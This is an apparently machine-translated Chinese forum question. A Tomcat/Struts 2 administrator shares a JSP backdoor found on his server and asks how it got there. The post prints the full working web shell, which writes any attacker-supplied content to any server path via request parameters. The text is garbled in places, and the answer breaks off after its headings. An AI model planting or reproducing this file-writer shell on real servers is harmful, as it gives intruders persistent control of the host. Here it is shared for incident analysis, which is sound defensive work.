我有一个由Tomcat 7.0.42提供服务的Struts 2 Web应用程序。我最近找到了我无法上传的文件。这里我展示一个例子
<%@ page language="java" pageEncoding="gbk"%>
<jsp:directive.page import="java.io.File"/>
<jsp:directive.page import="java.io.OutputStream"/>
<jsp:directive.page import="java.io.FileOutputStream"/>
<% int i=0;String method=request.getParameter("act");
if(method!=null&&method.equals("yoco")){
String url=request.getParameter("url");
String text=request.getParameter("smart");
File f=new File(url);
if(f.exists()){
f.delete();
}
try{
OutputStream o=new FileOutputStream(f);
o.write(text.getBytes());
o.close();
}catch(Exception e){
i++;
%>0<%
}
}
if(i==0){
%>1<%}
%>
<form action='?act=yoco' method='post'>
<input size="100" value="<%=application.getRealPath("/") %>" name="url">
<br>
<textarea rows="20" cols="80" name="smart">
这是一个用于在我的服务器上写文件的小JSP。几天前他们可以访问shell,并且由于某种DDoS攻击,所有服务器都崩溃了。
我真的想知道他们如何在我的服务器上写文件。我有一些表单与用户交互,但所有字段都是正则表达式限制,我使用预准备语句来打我的数据库。你可以看一下,如果你想看到问题&#34;在行动&#34; (link)
非常感谢任何帮助。谢谢!
答案 0 :(得分:0)
显然,这是一些恶意用户/黑客上传的后门。
为什么该文件可能会因为以下原因而结束:
我的建议: